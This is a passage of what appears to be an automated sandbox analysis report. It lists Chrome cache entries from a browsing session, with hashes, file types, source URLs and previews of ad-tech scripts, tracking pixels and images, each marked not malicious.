a&&"22"===a.getAttribute("data-jc")?a:document.querySelector('[data-jc="22"]')};var q=document,r=window;functi

Chrome Cache Entry: 296

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 297

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	93
Entropy (8bit):	4.514244499364558
Encrypted:	false
SSDEEP:	3:YAv+ejadWrjHvALuCKxBAVWUpZKxVWR4V:YAmUad+TIuzxBWWUfdR4V
MD5:	EADFCE794A6A63B46A25AEB1B62607DB
SHA1:	BF21A194D4CD30D3CDE62FDC58CC3321A8DFE60F
SHA-256:	1972A9798645E0E54859B82C0F0994116425C8AF9F4BF407480C4DC0350A8AE3
SHA-512:	7A521C2B2FE270802B4841CF209E2E1970D257B2E2488126FAA66710E4AEA37AE9A22528CE004D328EE42883D5A11DFA84AF2F04EDA739B9423F258A56EDD4C3
Malicious:	false
Reputation:	low
Preview:	{"errors":[{"httpStatus":400,"message":"No origin header found.","errorCode":"bad_request"}]}

Chrome Cache Entry: 298

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65484)
Category:	downloaded
Size (bytes):	184464
Entropy (8bit):	5.449610683212188
Encrypted:	false
SSDEEP:	1536:CmzNNlFchunXBo4P5/vurL73G8HbREzC1H9RrMrjbJPySO+/U+wSS60ibrLr2pmx:CmzNNlFchunXBhPh90iWglWO/
MD5:	6863CE0703CE4F482389F8A7E640E4E6
SHA1:	7554A71C742AD65ADA09C7819E853F2F71D88D52
SHA-256:	D08DEDFB38AA5AE7DEDADCAE8425F632C17CE61ABA51990D9275FB71A2B28387
SHA-512:	36FA691795A4125FC052D4A75FEAB5B83059676B66C8D927E28EE56AC66B0BFA73021CB26C66953E49C3BDE0D41005D67D6F15D26AD8DA6140C5153EB9488390
Malicious:	false
Reputation:	low
URL:	https://consent.cmp.oath.com/version/6.4.1/cmp.js
Preview:	/! CMP 6.4.1 Copyright 2018 Oath Holdings, Inc. /.!function(){var e={4184:function(e){"use strict";function t(e){return(t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}e.exports=function(){for(var e,n,r=[],i=window,o=i;o;){try{if(o.frames.__tcfapiLocator){e=o;break}}catch(e){}if(o===i.top)break;o=o.parent}e\|\|(function e(){var t=i.document,n=!!i.frames.__tcfapiLocator;if(!n)if(t.body){var r=t.createElement("iframe");r.style.cssText="display:none",r.name="__tcfapiLocator",t.body.appendChild(r)}else setTimeout(e,5);return!n}(),i.__tcfapi=function(){for(var e=arguments.length,t=new Array(e),i=0;i<e;i++)t[i]=arguments[i];if(!t.length)return r;"setGdprApplies"===t[0]?t.length>3&&2===parseInt(t[1],10)&&"boolean"==typeof t[3]&&(n=t[3],"function"==typeof t[2]&&t[2]("set",!0)):"ping"===t[0]?"function"==typeof t[2]&&t[2]({gdprApplies:n,c

Chrome Cache Entry: 299

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x156, components 3
Category:	dropped
Size (bytes):	13688
Entropy (8bit):	7.953986303079656
Encrypted:	false
SSDEEP:	384:2AV9Mdp7oU2RdQ6VoWTDipHEo+BkjPqp7E:2AVEnuoWTfkWE
MD5:	B9DCF82849ED58B1F1FA2C3F0A64CD49
SHA1:	2EC5258C92893198A88D47C8285EA59B2DBD1E90
SHA-256:	7826CDD12AF4B724B8EF58594F6957BC193A9C11408E9C2DEAA40D351CCFEECB
SHA-512:	1A77EBCD0A03FBCEE753B15D4EFBEE8A4ADD8D8CDD9F9CB1FD04FE9B297A7F31EA1ACBD00DF5A77285CBCCF4B4FF1C67ECD33D79A767230D4E99C493A52D0C63
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C....................................................................C.........................................................................,............................................G............................!1aAQ."q.....#2BRb..$3....Cr....%&4Ec....................................2.........................!1..."#AQ23.BCaq$4R..r.............?...u.B3M.e.TcCw.. ..Cw..Wa....n.@0......n.@....Xn.M..7x.%B...T.49..P.7...".~.j.m.s..g..8.Zs.&a.)o........ZN$..^...6;...w.q.Q.....L.....#...W'."QZ`.@.....M.)..YBsO..h....Cw..a...Cw.. ..Cw..Wa....n.@0.....[.Oo.J...B.y..B.n.J n.@...(...j.w......w..Gq;.\|0......u..$en...T..8.Zi9[.dtJI....EJ.^...o.....j{...Ij\.b.Dd.N..pH.{.N*.....$.._.z.......0..X....=.T.A...c.=..J..o...[...Z..S.z6...?:U.a..k.}...#\.+..3.'.J....=D.c\|3..z.....3p.s....P.X.rp(H...q.n...8..D......'J...!Dw.I.0...z..t...D{....q........z~T.N......7.8.x..g6... .$....#._.....U.u....#..].......V.........I..db.L..._h.&thL.

Chrome Cache Entry: 300

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
URL:	https://pbs.yahoo.com/setuid?bidder=ttd&uid=43e7dc8e-5458-4375-be4a-644737ed4dbd&gdpr=0&gdpr_consent=
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 301

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (16072), with no line terminators
Category:	dropped
Size (bytes):	16072
Entropy (8bit):	5.511526781045287
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncG:jAJ00JnLOH4ZjhwDi2+0s9t
MD5:	1EFFFD6CB33146ADD963FAED777BEF4E
SHA1:	E02756C23FF8938F41B45C054F2DF1E74017AF4B
SHA-256:	C861DD92BE984FE498ECE34C0F3C921861AC51BFEE50323FCAE21231ABF7A82B
SHA-512:	C18BC005BD7EE270D1A009801311F2CD53DCB5E6E669216AEA55393FC30B642749926E357370D39FB013E0D9EC1BF781869AB5C568AC09529477DEF0192D3154
Malicious:	false
Reputation:	low
Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 302

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65504), with no line terminators
Category:	downloaded
Size (bytes):	73447
Entropy (8bit):	5.315425597976914
Encrypted:	false
SSDEEP:	1536:NNDF5DvyAoNTQaRX7tbMNC1fNZz4zKTGkvOsZ0CJ/h:Nn5D0kgxD/h
MD5:	841DABCE0B477A93D9CF7379B9EB1368
SHA1:	F1AFDA122D766036A7C3418D785C17168106A391
SHA-256:	1616C8CD083E6B17F6A75AB0695BD4A4573B31AE8398FFB43758288028F6A773
SHA-512:	F8B298EFFAB6828E6386061FBC87CF6924EB9DBCAF82C559F76F6A8D924A752D97B6FD750BEB90CAC7D32B995903A7A075A17D18060B632DA416444B81943406
Malicious:	false
Reputation:	low
URL:	https://warp.media.net/rtb/resources/release-20231121-135-adperformance.js
Preview:	!function(){"use strict";var e="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{};function t(e,t,n){return e(n={path:t,exports:{},require:function(e,t){return function(){throw new Error("Dynamic requires are not currently supported by @rollup/plugin-commonjs")}(null==t&&n.path)}},n.exports),n.exports}var n,r,i=function(e){return e&&e.Math===Math&&e},o=i("object"==typeof globalThis&&globalThis)\|\|i("object"==typeof window&&window)\|\|i("object"==typeof self&&self)\|\|i("object"==typeof e&&e)\|\|i("object"==typeof e&&e)\|\|function(){return this}()\|\|Function("return this")(),a=Object.defineProperty,u=function(e,t){try{a(o,e,{value:t,configurable:!0,writable:!0})}catch(n){o[e]=t}return t},c=o["__core-js_shared__"]\|\|u("__core-js_shared__",{}),s=t((function(e){(e.exports=function(e,t){return c[e]\|\|(c[e]=void 0!==t?t:{})})("versions",[]).push({version:"3.33.3",mode:"global",copyright:". 2014-2023 Denis Pushka

Chrome Cache Entry: 303

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
URL:	https://pbs.yahoo.com/setuid?bidder=sonobi&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=2d729954-b637-472c-acf0-d931fcda5d4a
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 304

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10637), with no line terminators
Category:	downloaded
Size (bytes):	10637
Entropy (8bit):	5.2085652328167145
Encrypted:	false
SSDEEP:	192:3rXOcuETuQtQlAQ6g/o5gaDMX5yZ909VeAMg5xmiSvxlAQ60omIcr7Q0QvCjlJlr:3+EiQdgw5TMXoyPMg5xmiwq0Icr78vC1
MD5:	397B59E3EECA4F747EA1F6FF6323154C
SHA1:	C96E42A81F2F864313F6592688CA864D4578E3C3
SHA-256:	ACF529F550F2FDAAD913C10E6972344E43E07EAE8D5AA57B96FA30ED7C07ACC1
SHA-512:	CA0F4D6A4FF28A66868BC2387F737073D6CA26A429CBA97CE30B3F86A0820BF0355214618D95CFB5099AF3AF241F50440F3B870BB5C4D26275EFCB93772B8318
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-beacon-1.3.4-modern.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-beacon",[],t):"object"==typeof exports?exports["wafer-beacon"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-beacon"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(n){if(r[n])return r[n].exports;var i=r[n]={i:n,l:!1,exports:{}};return e[n].call(i.exports,i,i.exports,t),i.l=!0,i.exports}var r={};return t.m=e,t.c=r,t.d=function(e,r,n){t.o(e,r)\|\|Object.defineProperty(e,r,{configurable:!1,enumerable:!0,get:n})},t.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(r,"a",r),r},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,r){"use strict";function n(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}func

Chrome Cache Entry: 305

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 600 x 1200, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6702
Entropy (8bit):	5.642691629425421
Encrypted:	false
SSDEEP:	96:XLW1/2DTKLkQe6ZK4ED3nYnCMYx2bokTISCZwx:XuPdZK4Q3nYCMO2iKx
MD5:	9AB16D0F2CCCF9207F6211F41F036739
SHA1:	62D6EF021FB10E8A56E829D67B614FD815A528D3
SHA-256:	AAFF12F77E9C34AA3590EA7BBCE80CD2107453DC8EB4BA7433A9E2C14B532CC5
SHA-512:	3FB5792AB3828333FAC425ABF773A8B28E94B8677B7BE66B73CE293E12A0874D4C595FACDDA1A4E8975FAA319029FC5A861034D21A17DECBA9A8F7CB4D65D09D
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...X.........'.4.....pHYs.........O%.....$zTXtCreator....sL.OJUpL+I-RpMKKM.)..Az..jz......IDATx...MR.Y...s.@..E..9<+..L..i..E....jfE....4=....VP...W.x..g....g...}..DJ.c.....E8.L)S7/....sOF...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 306

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7907), with no line terminators
Category:	downloaded
Size (bytes):	7907
Entropy (8bit):	5.134832253452516
Encrypted:	false
SSDEEP:	192:3NiauurulAaIgvP+85ntzZSNLcVNHrjOO:3yuqlPI8Z3NsYVhrjr
MD5:	85070595D47A7CC86AF31833110DC18A
SHA1:	13564B6787EE765D841B2B6D1C4A6E73A2553AF8
SHA-256:	79D954B80C39513A18EE1E0143D931BA9222B4C4794438F7BAD23F9E0380CDC8
SHA-512:	B89211958F1EC914F3C31363EC7A60EFF460A86EAEF594522FD11A75712E0D0B05918C1D3FC720DD5D970399CD59C45E2F0069C5A9AE8014253661A2CEDABD38
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-template-1.4.3-modern.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-template",[],t):"object"==typeof exports?exports["wafer-template"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-template"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return e[n].call(o.exports,o,o.exports,t),o.l=!0,o.exports}var r={};return t.m=e,t.c=r,t.d=function(e,r,n){t.o(e,r)\|\|Object.defineProperty(e,r,{configurable:!1,enumerable:!0,get:n})},t.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(r,"a",r),r},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,r){"use strict";function n(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function"

Chrome Cache Entry: 307

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	60
Entropy (8bit):	5.0439833037615625
Encrypted:	false
SSDEEP:	3:YEOBHt7Jn4jdJI1gVG04:YEOByd7VM
MD5:	E35DEED9D1BE6398805343E00DEA4EDE
SHA1:	3478B7DF79F3D6E0DAAE651483A6445686172766
SHA-256:	32D927C58F10A8A588500AD2C96561EA4051F277D45090E4626C1119C42C48ED
SHA-512:	8F44C83835C661FA3B97C1DE05C7197D8E218F1046AD812F43088F32FEA0DADBA57AFAF4856D97D3E7C032C3FD0D72EC4395E38F7A0E0B9C6C214437963BAAAE
Malicious:	false
Reputation:	low
URL:	https://ups.analytics.yahoo.com/ups/58824/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN
Preview:	{"axid": "eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B"}

Chrome Cache Entry: 308

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 309

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://beacon-iad2.rubiconproject.com/beacon/d/64435439-ba67-4905-9db8-fd178acaab2e?oo=0&accountId=17250&siteId=539018&zoneId=3323074&sizeId=15&e=6A1E40E384DA563BABA6EEAAEBA49465405034E67543FB444CC82576B37DD1E2AA4516670128B13C8EEB0B60A7F8E231E9F89206FC79094A276EDBE7054D53CC5BDB985B90E4505B4BFE4BF56B906258685322F3AF277682D13E77922F71C767E0C8D8CF92FCCC48D35A73C64AE743A34E20004C4DD70FAECCC83D9E622D8836C1E1B29E45927C2A87F3567E137E76635004C6F4098E547906AD10A124C87C4AFC052D570851B9964ADC82057C9D67ACA74FB9A99D33F555
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 310

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (311), with no line terminators
Category:	downloaded
Size (bytes):	311
Entropy (8bit):	5.517473756819829
Encrypted:	false
SSDEEP:	6:jjxc0AQGo+65OClsU0ZcER7I+r1KYZpGUiCAelsU0ZcERK8UsDpn:jjxcDUQgi7x13mEi78kDp
MD5:	6F5071381F3D14F0DC1545E683655304
SHA1:	D76A911A940908F6E63B19DB6F70794A3FED0BAC
SHA-256:	EEC555FF1646C0D2BFA497A71860E847FB5CF64C1819529FDB74494CE823E8AA
SHA-512:	E2BEC0454984CB63DF0F618CF1895513BD40A64DA942E2B8EFC5E54B1D6C0B2802D8A771BA6F7F134E0EEAAFB06886AF0527A7E93B45283CB8217E373A8685CF
Malicious:	false
Reputation:	low
URL:	https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=70397431&p=0&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN
Preview:	PubMatic.loadAsyncIframePixel('https://c1.adform.net/serving/cookie/match?party=14&cid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://idsync.rlcdn.com/420486.gif?partner_uid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B');PubMatic.PugMasterCallback(false, false, true);

Chrome Cache Entry: 311

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 356x180, components 3
Category:	dropped
Size (bytes):	19047
Entropy (8bit):	7.966929881696708
Encrypted:	false
SSDEEP:	384:dBlUe0afMiZZseDR5YKNH7MRcypDxPl6dAd0bXmE3LCnUVkO3DE:djU/SVzfdH7MdVxXiQUVkOQ
MD5:	4BFA369C4B2FEDFC4F48BDF995DBCFCE
SHA1:	50D6414ADD7F9F15ED130A2A9CB0E7BB7F65F233
SHA-256:	BE4BB541E68CC017904025DDAB56AB3EDCDBAA54A001B5B1F3CCAB78127509BF
SHA-512:	2ACBF434162DA53F324C016966F0F5DA22FA72AE91FBB2920D74DE87A959A332C81D84D8F86A74676FF5064EF66702CE17B2AE3326F26CBB0693E65F44B93A93
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C....................................................................C.........................................................................d.............................................P..........................!..1AQ"aq....2.#BR.....b....3r....$%CSTc..DE...4FUV..................................=.......................!1....A..Q"#2...3Sq..$BRa...4C.%5DT.............?..I.YW.Fs....d..iL...7.....aM..$H\./k...m.......<....7t....e..H,...HOHL..].A`......4.n....-.4.....~pP.............Za4.."......X.}..^.r...@...[{Z..s..Z....>...?.x>....E..h>`d..(..a.Jig..m....\|'..}gO...>.cx...........un..YW.}..:..G.n....u.....Vp.).kz..2_....\|#z.0.l%._.%.5.fBD..E......@V...JM...'T....Q...>@...."..q.y.......v<....&.F.H.0.4......E-e67W.V..M....0Y.=....f........~ ...}.......h.......~f.=..\|.$,........aP.I....^..-.......u.a.^.eiRS{k..P..L...U.J\|L.i...,.....$..$..."]..n.@..GJ....e_I.....u.]p...rU)Nuv.......f..`j........3$......lv.........$)..sa...!q...h9....

Chrome Cache Entry: 312

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 313

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://dsum-sec.casalemedia.com/rum?cm_dsp_id=45&external_user_id=CAESEFVeUHfI19jJNPp1Sf2P_VQ&google_cver=1
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 314

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	21
Entropy (8bit):	3.403989446485262
Encrypted:	false
SSDEEP:	3:YBE+dmYn:Yvvn
MD5:	031A8B6F8BAEA1DF8DA69CAFED49D579
SHA1:	BA6C224B8AC88AD4368A30775BBD4CBAD9BE3BA5
SHA-256:	E5C0644466F49DFB193A225E813EB639BD14B0933EAA4CF457688BA716D49D95
SHA-512:	5B70D7F4F7B5A20657E835AEC1698BE17949EBA4E9B68E4DADD13B5BE9328A602CA815C9AD9CC6205F291199E18E7237CB4512CC840904F65AC4162F388B5801
Malicious:	false
Reputation:	low
URL:	https://www.yahoo.com/tdv2_fp/api/resource/WeatherLocationService.favoriteLocation?returnMeta=true&lang=en-US&region=US&site=fp&ssl=1&crumb=rMW2Wm8dqO0
Preview:	{"data":[],"meta":{}}

Chrome Cache Entry: 315

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (16072), with no line terminators
Category:	downloaded
Size (bytes):	16072
Entropy (8bit):	5.511526781045287
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncG:jAJ00JnLOH4ZjhwDi2+0s9t
MD5:	1EFFFD6CB33146ADD963FAED777BEF4E
SHA1:	E02756C23FF8938F41B45C054F2DF1E74017AF4B
SHA-256:	C861DD92BE984FE498ECE34C0F3C921861AC51BFEE50323FCAE21231ABF7A82B
SHA-512:	C18BC005BD7EE270D1A009801311F2CD53DCB5E6E669216AEA55393FC30B642749926E357370D39FB013E0D9EC1BF781869AB5C568AC09529477DEF0192D3154
Malicious:	false
Reputation:	low
URL:	https://ads.pubmatic.com/AdServer/js/user_sync.html?predirect=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dpbm%26i%3D&gdpr=0&gdprConsent=
Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 316

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_nid=openx&google_hm=ZjZjMGVkYzgtYzJiYi02NDVlLTZiNTYtNzAwMGYyMDA0MGJl
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 317

Download File

